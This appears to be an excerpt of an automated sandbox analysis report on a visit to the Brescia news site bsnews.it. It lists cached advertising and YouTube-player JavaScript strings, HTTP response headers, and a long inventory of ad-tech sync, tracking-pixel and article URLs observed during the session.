Source: chromecache_648.2.dr	String found in binary or memory: break;case "MediaFiles":for(var Dd=[],Kb=[],Zd=[],pf=q(Xf(G)),vh=pf.next();!vh.done;vh=pf.next()){var yb=vh.value;switch(yb.nodeName){case "MediaFile":var Oc=void 0,Ae=T(yb);if(null==Ae)var wh=null;else{-1!=Ae.indexOf("www.youtube.com/get_video")?O(P(),"hgvu","1"):-1!=Ae.indexOf("redirector.gvt1.com/get_video")&&O(P(),"hgvuc","1");var kc={};kc.height=$F(yb,"height");kc.width=$F(yb,"width");kc.rb=yb.getAttribute("delivery");kc.bitrate=$F(yb,"bitrate");kc.na=$F(yb,"minBitrate");kc.maxBitrate=$F(yb, equals www.youtube.com (Youtube)
Source: chromecache_648.2.dr	String found in binary or memory: l.zm=function(){this.o&&HG(this.j,JH,null)};l.Hm=function(){Z(this,"adBuffering")};var e2=function(a){var b,c=a.ma;if(c.g&&c.g.g)if(c.h){var d=void 0===d?null:d;(b=void 0===b?null:b)\|\|(b="//www.youtube.com/");d?b+=d:(c=D(c.h.id),b=B(c)?null:b+"channel/"+(0==c.lastIndexOf("UC",0)&&24==c.length?c:"UC"+c))}else b=null;else b=null;b&&(a.pause(),a.Ja(b,null))};O1.prototype.Pb=function(){Q0.prototype.Pb.call(this);null!=this.o&&this.o.ke()}; equals www.youtube.com (Youtube)
Source: chromecache_992.2.dr, chromecache_447.2.dr	String found in binary or memory: return b}MD.D="internal.enableAutoEventOnTimer";var Ec=ka(["data-gtm-yt-inspected-"]),ND=["www.youtube.com","www.youtube-nocookie.com"],OD,PD=!1; equals www.youtube.com (Youtube)
Source: chromecache_648.2.dr	String found in binary or memory: this.Oh=h;this.Da=k;this.bf=n;this.zb=m;this.be=p;this.Ke=r;this.resources=t};var yD=function(a,b){var c=void 0===b?{}:b;b=void 0===c.mimeType?null:c.mimeType;var d=void 0===c.da?null:c.da;c=void 0===c.ue?null:c.ue;this.Ka=a;this.da=d;this.mimeType=b;this.ue=c},zD=function(a){return"Url"===a.Ka.resourceType?a.Ka.Xc:null},AD=function(a){return"Html"===a.Ka.resourceType?a.Ka.Xc:null};var BD=function(a,b){var c=void 0===b?{}:b;b=void 0===c.rb?null:c.rb;var d=void 0===c.mimeType?null:c.mimeType,e=void 0===c.codec?null:c.codec,f=void 0===c.width?null:c.width;c=void 0===c.height?null:c.height;this.url=a;this.rb=b;this.mimeType=d;this.codec=e;this.width=f;this.height=c};var CD=function(a,b){b=void 0===b?{}:b;var c=void 0===b.da?null:b.da,d=void 0===b.bitrate?null:b.bitrate,e=void 0===b.na?null:b.na,f=void 0===b.maxBitrate?null:b.maxBitrate,g=void 0===b.Ca?null:b.Ca;BD.call(this,a,{rb:void 0===b.rb?null:b.rb,mimeType:void 0===b.mimeType?null:b.mimeType,codec:void 0===b.codec?null:b.codec,width:void 0===b.width?null:b.width,height:void 0===b.height?null:b.height});this.da=c;this.na=e\|\|f\|\|d\|\|0;this.maxBitrate=f\|\|e\|\|d\|\|0;this.Ca=g};w(CD,BD);var DD=function(a){a=void 0===a?{}:a;var b=void 0===a.kc?[]:a.kc,c=void 0===a.De?[]:a.De;this.Nb=void 0===a.Nb?null:a.Nb;this.kc=b;this.De=c};var ED=function(a){a=void 0===a?{}:a;var b=void 0===a.Kb?null:a.Kb,c=void 0===a.V?[]:a.V,d=void 0===a.wc?[]:a.wc,e=void 0===a.Va?[]:a.Va,f=void 0===a.nh?[]:a.nh,g=void 0===a.cd?null:a.cd,h=void 0===a.ia?null:a.ia,k=void 0===a.Ua?[]:a.Ua;this.duration=void 0===a.duration?null:a.duration;this.ia=h;this.Kb=b;this.V=c;this.wc=d;this.Va=e;this.nh=f;this.cd=g;this.Ua=k};var FD=function(a){a=void 0===a?{}:a;var b=void 0===a.da?null:a.da,c=void 0===a.height?null:a.height,d=void 0===a.width?null:a.width,e=void 0===a.Sc?null:a.Sc,f=void 0===a.resources?[]:a.resources,g=void 0===a.mg?null:a.mg,h=void 0===a.ng?[]:a.ng,k=void 0===a.ia?null:a.ia;this.id=void 0===a.id?null:a.id;this.da=b;this.height=c;this.width=d;this.Sc=e;this.resources=f;this.mg=g;this.ng=h;this.ia=k};var GD=function(a,b){b=void 0===b?[]:b;this.g=a;this.V=b};var HD=function(a){a=void 0===a?{}:a;var b=void 0===a.Le?"unknown":a.Le;this.Me=(void 0===a.Me?"unknown":a.Me)\|\|"unknown";this.Le=b\|\|"unknown"};var ID=function(a){a=void 0===a?{}:a;var b=void 0===a.id?null:a.id,c=void 0===a.adId?null:a.adId,d=void 0===a.bc?null:a.bc,e=void 0===a.je?null:a.je,f=void 0===a.Ud?null:a.Ud,g=void 0===a.Wa?[]:a.Wa;this.Ma=void 0===a.Ma?null:a.Ma;this.id=b;this.adId=c;this.bc=d;this.je=e;this.Ud=f;this.Wa=g};var JD=function(a,b){this.url=a;this.g=void 0===b?null:b};var KD=function(a){a=void 0===a?{}:a;var b=void 0===a.qe?null:a.qe,c=void 0===a.Cc?null:a.Cc,d=void 0===a.parameters?null:a.parameters,e=void 0===a.V?[]:a.V;this.vendor=void 0===a.vendor?null:a.vendor;this.qe=b;this.Cc=c;this.parameters=d;this.V=e};var LD=function(a){a=void 0===a?{}:a;var b=void 0===a.errors?[]:a.errors,c=void 0===a.sc?[]:a.sc,d=void 0===a.pa?[]:a.pa,e=void 0===a.ob?[]:
Source: chromecache_648.2.dr	String found in binary or memory: this.ma;if(b.g&&b.g.g)if(a=b.g.id,b=b.l,b=void 0===b?!1:b,null==a)a=null;else{c=new J("//www.youtube.com/watch");var d=c.g;d.set("v",a);d.set("feature",b?"trueview-instream":"instream");Bw(c,d);a=c.toString()}else a=null;null!==a&&(this.pause(),this.Ja(a,null));break;case "muteClicked":this.ra=this.F;this.setVolume(0);break;case "unmuteClicked":this.setVolume(this.ra);case "skipShown":Z(this,"skippableStateChanged");break;case "skip":Z(this,"skip");this.destroy();break;case "fullscreen":Z(this,"fullscreen"); equals www.youtube.com (Youtube)
Source: chromecache_904.2.dr	String found in binary or memory: this.playerType=this.parentFixIndexClass=this.restoreFixIndexClass=void 0},loadApiYoutube:function(){if(!tdShowVideo._isApiYoutubeLoaded){var a=document.createElement("script");a.src="https://www.youtube.com/iframe_api";var b=document.getElementsByTagName("script")[0];b.parentNode.insertBefore(a,b);tdShowVideo._isApiYoutubeLoaded=!0}},loadApiVimeo:function(){if(!tdShowVideo._isApiVimeoLoaded){var a=document.createElement("script");a.src="https://player.vimeo.com/api/player.js";var b=document.getElementsByTagName("script")[0]; equals www.youtube.com (Youtube)
Source: chromecache_648.2.dr	String found in binary or memory: var oF=function(a,b){var c=a.Qa.h;a.Qa.g.forEach(function(d){$y(b,new Wy("error",d))});c.forEach(function(d){$y(b,Yy("impression",d.url,d.g))})},pF=function(a,b){a=q(a.pa);for(var c=a.next();!c.done;c=a.next())if((c=c.value.bc)&&c.Va&&0<c.Va.length){a=q(c.Va);for(c=a.next();!c.done;c=a.next())c=c.value,b.Va.push(new Ty(zD(c),AD(c),c.mimeType,c.da,c.ue));break}};var qF=function(a){a=Error.call(this,a);this.message=a.message;"stack"in a&&(this.stack=a.stack)};w(qF,Error);var rF=function(a){this.h=a;this.g=Date.now()};rF.prototype.reset=function(){this.g=Date.now()};var sF=function(a){a=a.g+a.h-Date.now();return 0<a?a:0};var tF="://secure-...imrworldwide.com/ ://cdn.imrworldwide.com/ ://aksecure.imrworldwide.com/ ://[^.]*.moatads.com ://youtube[0-9]+.moatpixel.com ://pm.adsafeprotected.com/youtube ://pm.test-adsafeprotected.com/youtube ://e[0-9]+.yt.srs.doubleverify.com www.google.com/pagead/xsul www.youtube.com/pagead/slav".split(" "),uF=/\bocr\b/;function vF(a){if(B(D(a))\|\|Ge&&2048<a.length)return!1;try{if((new J(a)).N().match(uF))return!0}catch(b){}return null!=tF.find(function(b){return null!=a.match(b)})};var wF=function(a){var b=Error.call(this,a);this.message=b.message;"stack"in b&&(this.stack=b.stack);this.errorCode=a};w(wF,Error);var xF=function(){if(!Ge)return!1;try{return new ActiveXObject("MSXML2.DOMDocument"),!0}catch(a){return!1}},yF=Ge&&xF(),zF=function(a){if("undefined"!=typeof DOMParser){var b=new DOMParser;a=wz(a);return b.parseFromString(Ud(a),"application/xml")}if(yF){b=new ActiveXObject("MSXML2.DOMDocument");b.resolveExternals=!1;b.validateOnParse=!1;try{b.setProperty("ProhibitDTD",!0),b.setProperty("MaxXMLSize",2048),b.setProperty("MaxElementDepth",256)}catch(c){}b.loadXML(a);return b}throw Error("Your browser does not support loading xml documents"); equals www.youtube.com (Youtube)

Source: unknown

DNS traffic detected: queries for: www.bsnews.it

Source: unknown

HTTP traffic detected: POST /wp-admin/admin-ajax.php HTTP/1.1Host: bsnews.itConnection: keep-aliveContent-Length: 201sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: */*Content-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://bsnews.itSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga_EQYZRK97F1=GS1.1.1711615862.1.0.1711615862.60.0.0; _ga=GA1.1.30849489.1711615863

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-length: 0date: Thu, 28 Mar 2024 08:51:25 GMTconnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcache-control: max-age=0, private, must-revalidatecontent-length: 9content-type: text/html; charset=utf-8date: Thu, 28 Mar 2024 08:51:25 GMTserver: envoyx-envoy-upstream-service-time: 0connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 28 Mar 2024 08:51:25 GMTContent-Type: text/plain; charset=utf-8Content-Length: 9Connection: closecache-control: no-cache, no-store, must-revalidateexpires: 0pragma: no-cachevary: Accept-Encodingx-content-type-options: nosniffX-Kong-Upstream-Latency: 13X-Kong-Proxy-Latency: 0Via: kong/2.8.3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-length: 0date: Thu, 28 Mar 2024 08:51:27 GMTconnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: Microsoft-Azure-Application-Gateway/v2Date: Thu, 28 Mar 2024 08:51:36 GMTContent-Type: text/htmlContent-Length: 581Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 28 Mar 2024 08:51:49 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: max-age=15Expires: Thu, 28 Mar 2024 08:52:04 GMTStrict-Transport-Security: max-age=2592000; includeSubDomains; preloadX-Content-Type-Options: nosniffServer: cloudflareCF-RAY: 86b661693dc22015-IAD
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 28 Mar 2024 08:51:52 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: max-age=15Expires: Thu, 28 Mar 2024 08:52:07 GMTStrict-Transport-Security: max-age=2592000; includeSubDomains; preloadX-Content-Type-Options: nosniffServer: cloudflareCF-RAY: 86b6617fcfd68281-IAD
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 28 Mar 2024 08:51:53 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: max-age=15Expires: Thu, 28 Mar 2024 08:52:08 GMTStrict-Transport-Security: max-age=2592000; includeSubDomains; preloadX-Content-Type-Options: nosniffServer: cloudflareCF-RAY: 86b6617f9c773af0-IAD
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 28 Mar 2024 08:51:53 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: max-age=15Expires: Thu, 28 Mar 2024 08:52:08 GMTStrict-Transport-Security: max-age=2592000; includeSubDomains; preloadX-Content-Type-Options: nosniffServer: cloudflareCF-RAY: 86b661831da139b6-IAD
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 28 Mar 2024 08:51:53 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: max-age=15Expires: Thu, 28 Mar 2024 08:52:08 GMTStrict-Transport-Security: max-age=2592000; includeSubDomains; preloadX-Content-Type-Options: nosniffServer: cloudflareCF-RAY: 86b6618378730a93-IAD
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 28 Mar 2024 08:52:09 GMTContent-Type: image/gifContent-Length: 49Connection: closeP3P: CP=NOI DSP COR NID PSAa PSDa OUR UNI COM NAVCache-Control: no-cachePragma: no-cacheExpires: 0X-Server: 10.40.55.146Access-Control-Allow-Origin: *Server: Jetty(9.4.38.v20210224)
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 28 Mar 2024 08:52:27 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: max-age=15Expires: Thu, 28 Mar 2024 08:52:42 GMTStrict-Transport-Security: max-age=2592000; includeSubDomains; preloadX-Content-Type-Options: nosniffServer: cloudflareCF-RAY: 86b662549f899c73-IAD
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 28 Mar 2024 08:52:31 GMTContent-Type: text/plainTransfer-Encoding: chunkedConnection: closeSet-Cookie: admtr=9741359e-b2a2-4864-af08-41d769df6c9b; path=/; domain=.admanmedia.com; expires=Thu, 11 Apr 2024 08:52:31 GMT;SameSite=None;SecureSet-Cookie: admtr_red=undefined\|24\|5\|1; path=/; domain=.admanmedia.com; expires=Thu, 11 Apr 2024 08:52:31 GMT;SameSite=None;Secure
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 28 Mar 2024 08:52:40 GMTContent-Length: 0Via: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close

Source: chromecache_398.2.dr	String found in binary or memory: http://127.0.0.1:$
Source: chromecache_915.2.dr	String found in binary or memory: http://adx.4strokemedia.com/www/delivery/asyncspc.php
Source: chromecache_904.2.dr	String found in binary or memory: http://dimsemenov.com/plugins/magnific-popup/
Source: chromecache_461.2.dr	String found in binary or memory: http://docs.python.org/library/uuid.html
Source: chromecache_851.2.dr	String found in binary or memory: http://documentcloud.github.com/underscore/#template
Source: chromecache_816.2.dr	String found in binary or memory: http://go.wpbakery.com/licensing
Source: chromecache_851.2.dr	String found in binary or memory: http://metaweb.com
Source: chromecache_405.2.dr, chromecache_688.2.dr, chromecache_648.2.dr	String found in binary or memory: http://pagead2.googlesyndication.com/pagead/gen_204
Source: chromecache_398.2.dr	String found in binary or memory: http://paid.outbrain.com/network/redir?
Source: chromecache_461.2.dr	String found in binary or memory: http://pajhome.org.uk/crypt/md5
Source: chromecache_851.2.dr	String found in binary or memory: http://postmessage.freebaseapps.com)
Source: chromecache_648.2.dr	String found in binary or memory: http://tpc.googlesyndication.com/pagead/js/loader21.html
Source: chromecache_705.2.dr, chromecache_638.2.dr, chromecache_514.2.dr, chromecache_917.2.dr, chromecache_679.2.dr, chromecache_909.2.dr, chromecache_522.2.dr, chromecache_960.2.dr, chromecache_887.2.dr, chromecache_657.2.dr, chromecache_441.2.dr, chromecache_862.2.dr, chromecache_922.2.dr, chromecache_380.2.dr, chromecache_517.2.dr, chromecache_718.2.dr, chromecache_582.2.dr, chromecache_913.2.dr, chromecache_780.2.dr, chromecache_908.2.dr, chromecache_581.2.dr	String found in binary or memory: http://tremorhub.com/ssp
Source: chromecache_898.2.dr	String found in binary or memory: http://videojs.com/
Source: chromecache_717.2.dr, chromecache_317.2.dr, chromecache_776.2.dr	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: chromecache_831.2.dr, chromecache_405.2.dr, chromecache_688.2.dr, chromecache_648.2.dr	String found in binary or memory: http://www.broofa.com
Source: chromecache_836.2.dr	String found in binary or memory: http://www.bsnews.it
Source: chromecache_914.2.dr	String found in binary or memory: http://www.bsnews.it/feed/
Source: chromecache_914.2.dr	String found in binary or memory: http://www.bsnews.it/notizie-ordine-cronologico-inverso/
Source: chromecache_914.2.dr	String found in binary or memory: http://www.bsnews.it/pollsarchive
Source: chromecache_648.2.dr	String found in binary or memory: http://www.google.com/adsense/support
Source: chromecache_461.2.dr	String found in binary or memory: http://www.movable-type.co.uk/scripts/sha1.html
Source: chromecache_727.2.dr	String found in binary or memory: https://a.audrte.com/get?p=1321086940&r=
Source: chromecache_337.2.dr, chromecache_637.2.dr, chromecache_573.2.dr	String found in binary or memory: https://a.audrte.com/match?gdpr=0&gdpr_consent=&p=M1717054901&uid=01F5328A-C4D9-44AD-8468-60A885247C
Source: chromecache_559.2.dr	String found in binary or memory: https://a.sportradarserving.com/sync?ssp=bidswitch&bidswitch_ssp_id=onetag
Source: chromecache_647.2.dr	String found in binary or memory: https://aa.agkn.com/adscores/g.pixel?sid=9212299398&zctry=USA&env=mWeb&eventType=pageview&id_mid_4=5
Source: chromecache_337.2.dr, chromecache_637.2.dr, chromecache_573.2.dr	String found in binary or memory: https://aa.agkn.com/adscores/g.pixel?sid=9212308278&puid=01F5328A-C4D9-44AD-8468-60A885247C68
Source: chromecache_967.2.dr	String found in binary or memory: https://aa.agkn.com/adscores/g.pixel?sid=9212314908&puid=314c5d77-0a2f-090e-03e5-da9e00dfb4c1
Source: chromecache_647.2.dr	String found in binary or memory: https://aax-eu.amazon-adsystem.com/s/dcm?pid=cda341cb-196c-4da8-897b-752ce4bb588d&id=5b95a3db-1a3a-4
Source: chromecache_727.2.dr	String found in binary or memory: https://aax-eu.amazon-adsystem.com/s/dcm?pid=d0592a87-ff14-499d-9eda-8641b59e11c0&id=
Source: chromecache_719.2.dr, chromecache_985.2.dr	String found in binary or memory: https://aax-eu.amazon-adsystem.com/s/iu3?cm3ppd=1&d=dtb-pub&csif=t&dl=gg_smrt_an-db5_sovrn_3lift
Source: chromecache_350.2.dr, chromecache_578.2.dr, chromecache_839.2.dr, chromecache_720.2.dr	String found in binary or memory: https://aax-us-east.amazon-adsystem.com
Source: chromecache_501.2.dr	String found in binary or memory: https://ad.mrtnsvr.com/sync/pubmatic?gdpr=0&gdpr_consent=
Source: chromecache_390.2.dr	String found in binary or memory: https://ad.turn.com/r/cs?pid=21
Source: chromecache_666.2.dr	String found in binary or memory: https://ad.turn.com/r/cs?pid=40&rid=30f2e100c3804685b89bc432e7fc41cf
Source: chromecache_826.2.dr	String found in binary or memory: https://ad.turn.com/r/cs?pid=9&gdpr=0
Source: chromecache_403.2.dr	String found in binary or memory: https://addefend-platform.com
Source: chromecache_403.2.dr, chromecache_523.2.dr	String found in binary or memory: https://ads.betweendigital.com/adjson?t=prebid
Source: chromecache_944.2.dr	String found in binary or memory: https://ads.betweendigital.com/match?bidder_id=44808&callback_url=https%3A%2F%2Fcs-rtb.minutemedia-p
Source: chromecache_403.2.dr, chromecache_523.2.dr	String found in binary or memory: https://ads.betweendigital.com/sspmatch
Source: chromecache_403.2.dr, chromecache_523.2.dr	String found in binary or memory: https://ads.betweendigital.com/sspmatch-iframe
Source: chromecache_646.2.dr	String found in binary or memory: https://ads.dxkulture.com/setuid
Source: chromecache_646.2.dr	String found in binary or memory: https://ads.dxkulture.com/usync/lr.gif
Source: chromecache_646.2.dr	String found in binary or memory: https://ads.dxkulture.com/usync?cb=https%3A%2F%2Fads.servenobid.com%2Fsync%3Fpid%3D369%26uid%3D%24UI
Source: chromecache_523.2.dr	String found in binary or memory: https://ads.pubmatic.com/AdServer/js/topics/topics_frame.html
Source: chromecache_570.2.dr	String found in binary or memory: https://ads.pubmatic.com/AdServer/js/user_sync.html?p=156631&s=&predirect=https%3A%2F%2Fu-iad04.e-pl
Source: chromecache_549.2.dr, chromecache_1001.2.dr	String found in binary or memory: https://ads.pubmatic.com/AdServer/js/user_sync.html?predirect=https%3A%2F%2Fusersync.gumgum.com%2Fus
Source: chromecache_549.2.dr	String found in binary or memory: https://ads.servenobid.com/sync?pid=309&uid=u_a5489836-263b-4903-9095-fa7e48511288
Source: chromecache_951.2.dr	String found in binary or memory: https://ads.servenobid.com/sync?pid=318&uid=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI
Source: chromecache_1007.2.dr	String found in binary or memory: https://ads.servenobid.com/sync?pid=333&uid=ZgUvi9HM46UAADq7ABhzMwAACsEAAAIB
Source: chromecache_944.2.dr	String found in binary or memory: https://ads.servenobid.com/sync?pid=348&uid=hVbEQD5-kp_mm
Source: chromecache_410.2.dr	String found in binary or memory: https://ads.servenobid.com/sync?pid=352&uid=x_sx1D8-Cp_s
Source: chromecache_944.2.dr	String found in binary or memory: https://ads.stickyadstv.com/user-matching?gdpr=0&gdpr_consent=&id=3686&ismms2s=1
Source: chromecache_410.2.dr	String found in binary or memory: https://ads.stickyadstv.com/user-matching?id=3663&gdpr=0&gdpr_consent=
Source: chromecache_911.2.dr, chromecache_1028.2.dr	String found in binary or memory: https://ads.stickyadstv.com/user-matching?id=3679&gdpr=$
Source: chromecache_1000.2.dr	String found in binary or memory: https://ads.stickyadstv.com/user-registering?dataProviderId=1025&userId=ZgUvi9HM46UAADq7ABhzMwAA
Source: chromecache_944.2.dr	String found in binary or memory: https://ads.yieldmo.com/pbsync?gdpr=0&gdpr_consent=&is=mmed&ismms2s=1&redirectUri=https%3A%2F%2Fcs-r
Source: chromecache_410.2.dr	String found in binary or memory: https://ads.yieldmo.com/pbsync?is=rise&gdpr=0&gdpr_consent=&us_privacy=&redirectUri=https%3A%2F%2Fcs
Source: chromecache_703.2.dr, chromecache_992.2.dr	String found in binary or memory: https://adservice.google.com/pagead/regclk
Source: chromecache_703.2.dr, chromecache_992.2.dr	String found in binary or memory: https://adservice.googlesyndication.com/pagead/regclk
Source: chromecache_915.2.dr	String found in binary or memory: https://adx.4strokemedia.com/www/delivery/asyncspc.php
Source: chromecache_981.2.dr	String found in binary or memory: https://ampcid.google.com/v1/publisher:getClientId
Source: chromecache_632.2.dr	String found in binary or memory: https://analytics.twitter.com/i/adsct?p_user_id=85cc8ca90ee4a6a26a646dc942f45ae1&p_id=28539
Source: chromecache_993.2.dr	String found in binary or memory: https://aorta.clickagy.com/pixel.gif?ch=4&cm=324089ec-1799-0ed1-1f32-cd55642b28d6&redir=https%3A%2F%
Source: chromecache_756.2.dr	String found in binary or memory: https://ap.lijit.com/pixel?&gdpr=
Source: chromecache_944.2.dr	String found in binary or memory: https://ap.lijit.com/pixel?gdpr=0&gdpr_consent=&ismms2s=1&redir=https%3A%2F%2Fcs-rtb.minutemedia-pre
Source: chromecache_410.2.dr	String found in binary or memory: https://ap.lijit.com/pixel?gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs
Source: chromecache_886.2.dr	String found in binary or memory: https://api.rlcdn.com/api/identity/envelope?pid=
Source: chromecache_914.2.dr	String found in binary or memory: https://api.w.org/
Source: chromecache_398.2.dr	String found in binary or memory: https://app-sdk.outbrain.com/
Source: chromecache_914.2.dr	String found in binary or memory: https://app.digitrend.it/forumpa/fpa.js
Source: chromecache_926.2.dr	String found in binary or memory: https://app.digitrend.it/forumpa/header.gif
Source: chromecache_756.2.dr	String found in binary or memory: https://assets.a-mo.net/js/cframe.js#gdpr=0&gdpr_consent=&cc=US
Source: chromecache_365.2.dr	String found in binary or memory: https://assets.a-mo.net/js/idw.js?
Source: chromecache_680.2.dr	String found in binary or memory: https://at.teads.tv/fpc
Source: chromecache_461.2.dr	String found in binary or memory: https://ats-wrapper.privacymanager.io
Source: chromecache_1001.2.dr	String found in binary or memory: https://b1sync.zemanta.com/usersync/gumgum/?puid=u_860d30c8-2f9d-4439-ae17-bcb7bf671978&gdpr=&gdpr_c
Source: chromecache_549.2.dr	String found in binary or memory: https://b1sync.zemanta.com/usersync/gumgum/?puid=u_a5489836-263b-4903-9095-fa7e48511288&gdpr=0&gdpr_
Source: chromecache_390.2.dr	String found in binary or memory: https://b1sync.zemanta.com/usersync/index/?us_privacy=&gdpr=&gdpr_consent=&gpp=&gpp_
Source: chromecache_944.2.dr	String found in binary or memory: https://b1sync.zemanta.com/usersync/minutemedia/?cb=https%3A%2F%2Fcs-rtb.minutemedia-prebid.com%2Fcs
Source: chromecache_727.2.dr	String found in binary or memory: https://b1sync.zemanta.com/usersync/neodata/?
Source: chromecache_647.2.dr	String found in binary or memory: https://bcp.crwdcntrl.net/map/c=13620/tp=ZEOT/tpid=5b95a3db-1a3a-4c5d-7bc4-805f128d851b?https://mwze
Source: chromecache_352.2.dr, chromecache_633.2.dr	String found in binary or memory: https://bcp.crwdcntrl.net/map/c=14701/tp=MTAI/tpid=01F5328A-C4D9-44AD-8468-60A885247C68/gdpr=0/gdpr_
Source: chromecache_647.2.dr	String found in binary or memory: https://beacon.krxd.net/usermatch.gif?partner=zeotap&partner_uid=141838&env=mWeb&eventType=pageview&
Source: chromecache_944.2.dr	String found in binary or memory: https://bh.contextweb.com/bh/rtset?ev=1&gdpr=0&gdpr_consent=&ismms2s=1&pid=562760&rurl=https%3A%2F%2
Source: chromecache_549.2.dr, chromecache_1001.2.dr	String found in binary or memory: https://bh.contextweb.com/bh/rtset?pid=558355&ev=1&us_privacy=$
Source: chromecache_869.2.dr	String found in binary or memory: https://bh.contextweb.com/bh/rtset?pid=560288&ev=1&rurl=https%3A%2F%2Frtb-csync.smartadserver.com%2F
Source: chromecache_410.2.dr	String found in binary or memory: https://bh.contextweb.com/bh/rtset?pid=562615&ev=1&us_privacy=
Source: chromecache_570.2.dr	String found in binary or memory: https://bh.contextweb.com/bh/rtset?pid=562965&ev=1&us_privacy=$
Source: chromecache_911.2.dr, chromecache_1028.2.dr	String found in binary or memory: https://bh.contextweb.com/bh/rtset?pid=562985&ev=1&us_privacy=$
Source: chromecache_461.2.dr	String found in binary or memory: https://blueimp.net
Source: chromecache_824.2.dr	String found in binary or memory: https://bpi.rtactivate.com/tag/?id=20909&user_id=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_co
Source: chromecache_967.2.dr	String found in binary or memory: https://bpi.rtactivate.com/tag/?id=50019&user_id=b3e196f6-9a6b-00e3-0f0c-791d72e14336
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/2015/01/23/il-sindaco-del-bono-oggi-su-facebook-parla-di-consigli-di-quartiere-e-m
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/2015/01/23/inaugura-domani-la-mostra-il-cibo-nell-arte-a-palazzo-martinengo-dal-se
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/#respo
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/?share
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/amp/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/feed/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/2020/12/19/libreria-prima-guida-poetica-turistica-di-brescia/copguidapoeticabs19_1
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/2024/03/27/ai-domiciliari-per-furto-ai-bancomat-evade-e-viene-arrestato-per-rapina
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/2024/03/27/belle-hilton-gli-americani-i-clienti-piu-affezionati-allitalia/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/2024/03/27/castelletti-il-musil-sara-pronto-entro-la-fine-del-mio-mandato/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/2024/03/27/codice-della-strada-via-libera-della-camera-salvini-grande-soddisfazion
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/2024/03/27/consulenza-80000-euro-esposto-centrodestra-san-filippo/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/2024/03/27/corte-franca-e-iseo-ladri-in-azione-anche-alle-torbiere-danneggiate-le-
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/2024/03/27/darfo-9-clandestini-tunisini-trovati-nellex-hotel-bassini-espulsi/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/2024/03/27/giustizia-nordio-ok-cdm-a-test-psicoattidudinali-magistratura/
